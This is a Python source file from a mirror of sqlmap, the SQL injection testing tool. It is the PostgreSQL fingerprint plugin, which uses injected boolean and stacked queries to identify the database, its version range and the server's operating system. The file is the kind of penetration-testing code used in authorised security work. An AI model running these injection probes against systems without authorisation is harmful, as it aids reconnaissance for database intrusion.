mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2024-11-22 17:46:37 +03:00
190 lines
6.8 KiB
Python
190 lines
6.8 KiB
Python
#!/usr/bin/env python
|
|
|
|
"""
|
|
$Id$
|
|
|
|
Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
|
|
See the file 'doc/COPYING' for copying permission
|
|
"""
|
|
|
|
import re
|
|
|
|
from lib.core.agent import agent
|
|
from lib.core.common import Backend
|
|
from lib.core.common import Format
|
|
from lib.core.common import getUnicode
|
|
from lib.core.common import randomInt
|
|
from lib.core.data import conf
|
|
from lib.core.data import kb
|
|
from lib.core.data import logger
|
|
from lib.core.enums import DBMS
|
|
from lib.core.session import setDbms
|
|
from lib.core.settings import PGSQL_ALIASES
|
|
from lib.core.settings import PGSQL_SYSTEM_DBS
|
|
from lib.request import inject
|
|
from lib.request.connect import Connect as Request
|
|
|
|
from plugins.generic.fingerprint import Fingerprint as GenericFingerprint
|
|
|
|
class Fingerprint(GenericFingerprint):
|
|
def __init__(self):
|
|
GenericFingerprint.__init__(self, DBMS.PGSQL)
|
|
|
|
def getFingerprint(self):
|
|
value = ""
|
|
wsOsFp = Format.getOs("web server", kb.headersFp)
|
|
|
|
if wsOsFp:
|
|
value += "%s\n" % wsOsFp
|
|
|
|
if kb.data.banner:
|
|
dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp)
|
|
|
|
if dbmsOsFp:
|
|
value += "%s\n" % dbmsOsFp
|
|
|
|
value += "back-end DBMS: "
|
|
|
|
if not conf.extensiveFp:
|
|
value += DBMS.PGSQL
|
|
return value
|
|
|
|
actVer = Format.getDbms()
|
|
blank = " " * 15
|
|
value += "active fingerprint: %s" % actVer
|
|
|
|
if kb.bannerFp:
|
|
banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None
|
|
banVer = Format.getDbms([banVer])
|
|
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
|
|
|
|
htmlErrorFp = Format.getErrorParsedDBMSes()
|
|
|
|
if htmlErrorFp:
|
|
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
|
|
|
|
return value
|
|
|
|
def checkDbms(self):
|
|
"""
|
|
References for fingerprint:
|
|
|
|
* http://www.postgresql.org/docs/8.4/interactive/release.html (up to 8.4.2)
|
|
"""
|
|
|
|
if not conf.extensiveFp and (Backend.isDbmsWithin(PGSQL_ALIASES) or conf.dbms in PGSQL_ALIASES):
|
|
setDbms(DBMS.PGSQL)
|
|
|
|
self.getBanner()
|
|
|
|
return True
|
|
|
|
infoMsg = "testing %s" % DBMS.PGSQL
|
|
logger.info(infoMsg)
|
|
|
|
randInt = getUnicode(randomInt(1))
|
|
result = inject.checkBooleanExpression("%s::int=%s" % (randInt, randInt))
|
|
|
|
if result:
|
|
infoMsg = "confirming %s" % DBMS.PGSQL
|
|
logger.info(infoMsg)
|
|
|
|
result = inject.checkBooleanExpression("COALESCE(%s, NULL)=%s" % (randInt, randInt))
|
|
|
|
if not result:
|
|
warnMsg = "the back-end DBMS is not %s" % DBMS.PGSQL
|
|
logger.warn(warnMsg)
|
|
|
|
return False
|
|
|
|
setDbms(DBMS.PGSQL)
|
|
|
|
self.getBanner()
|
|
|
|
if not conf.extensiveFp:
|
|
return True
|
|
|
|
infoMsg = "actively fingerprinting %s" % DBMS.PGSQL
|
|
logger.info(infoMsg)
|
|
|
|
if inject.checkBooleanExpression("LENGTH(to_char(1, 'EEEE'))>0"):
|
|
Backend.setVersion(">= 9.0.3")
|
|
elif inject.checkBooleanExpression("2=(SELECT DIV(6, 3))"):
|
|
Backend.setVersion(">= 8.4.0")
|
|
elif inject.checkBooleanExpression("EXTRACT(ISODOW FROM CURRENT_TIMESTAMP)<8"):
|
|
Backend.setVersionList([">= 8.3.0", "< 8.4"])
|
|
elif inject.checkBooleanExpression("ISFINITE(TRANSACTION_TIMESTAMP())"):
|
|
Backend.setVersionList([">= 8.2.0", "< 8.3.0"])
|
|
elif inject.checkBooleanExpression("9=(SELECT GREATEST(5, 9, 1))"):
|
|
Backend.setVersionList([">= 8.1.0", "< 8.2.0"])
|
|
elif inject.checkBooleanExpression("3=(SELECT WIDTH_BUCKET(5.35, 0.024, 10.06, 5))"):
|
|
Backend.setVersionList([">= 8.0.0", "< 8.1.0"])
|
|
elif inject.checkBooleanExpression("'d'=(SELECT SUBSTR(MD5('sqlmap'), 1, 1))"):
|
|
Backend.setVersionList([">= 7.4.0", "< 8.0.0"])
|
|
elif inject.checkBooleanExpression("'p'=(SELECT SUBSTR(CURRENT_SCHEMA(), 1, 1))"):
|
|
Backend.setVersionList([">= 7.3.0", "< 7.4.0"])
|
|
elif inject.checkBooleanExpression("8=(SELECT BIT_LENGTH(1))"):
|
|
Backend.setVersionList([">= 7.2.0", "< 7.3.0"])
|
|
elif inject.checkBooleanExpression("'a'=(SELECT SUBSTR(QUOTE_LITERAL('a'), 2, 1))"):
|
|
Backend.setVersionList([">= 7.1.0", "< 7.2.0"])
|
|
elif inject.checkBooleanExpression("8=(SELECT POW(2, 3))"):
|
|
Backend.setVersionList([">= 7.0.0", "< 7.1.0"])
|
|
elif inject.checkBooleanExpression("'a'=(SELECT MAX('a'))"):
|
|
Backend.setVersionList([">= 6.5.0", "< 6.5.3"])
|
|
elif inject.checkBooleanExpression("VERSION()=VERSION()"):
|
|
Backend.setVersionList([">= 6.4.0", "< 6.5.0"])
|
|
elif inject.checkBooleanExpression("2=(SELECT SUBSTR(CURRENT_DATE, 1, 1))"):
|
|
Backend.setVersionList([">= 6.3.0", "< 6.4.0"])
|
|
elif inject.checkBooleanExpression("'s'=(SELECT SUBSTRING('sqlmap', 1, 1))"):
|
|
Backend.setVersionList([">= 6.2.0", "< 6.3.0"])
|
|
else:
|
|
Backend.setVersion("< 6.2.0")
|
|
|
|
return True
|
|
else:
|
|
warnMsg = "the back-end DBMS is not %s" % DBMS.PGSQL
|
|
logger.warn(warnMsg)
|
|
|
|
return False
|
|
|
|
def checkDbmsOs(self, detailed=False):
|
|
if kb.os:
|
|
return
|
|
|
|
infoMsg = "fingerprinting the back-end DBMS operating system"
|
|
logger.info(infoMsg)
|
|
|
|
self.createSupportTbl(self.fileTblName, self.tblField, "character(10000)")
|
|
inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "VERSION()"))
|
|
|
|
# Windows executables should always have ' Visual C++' or ' mingw'
|
|
# patterns within the banner
|
|
osWindows = ( " Visual C++", "mingw" )
|
|
|
|
for osPattern in osWindows:
|
|
query = "(SELECT LENGTH(%s) FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField)
|
|
query += "LIKE '%" + osPattern + "%')>0"
|
|
|
|
if inject.checkBooleanExpression(query):
|
|
kb.os = "Windows"
|
|
|
|
break
|
|
|
|
if kb.os is None:
|
|
kb.os = "Linux"
|
|
|
|
infoMsg = "the back-end DBMS operating system is %s" % kb.os
|
|
logger.info(infoMsg)
|
|
|
|
self.cleanup(onlyFileTbl=True)
|
|
|
|
def forceDbmsEnum(self):
|
|
if conf.db not in PGSQL_SYSTEM_DBS and conf.db != "public":
|
|
conf.db = "public"
|
|
|
|
warnMsg = "on %s it is only possible to enumerate " % DBMS.PGSQL
|
|
warnMsg += "on the current schema and on system databases, "
|
|
warnMsg += "sqlmap is going to use 'public' schema as "
|
|
warnMsg += "database name"
|
|
logger.warn(warnMsg)
|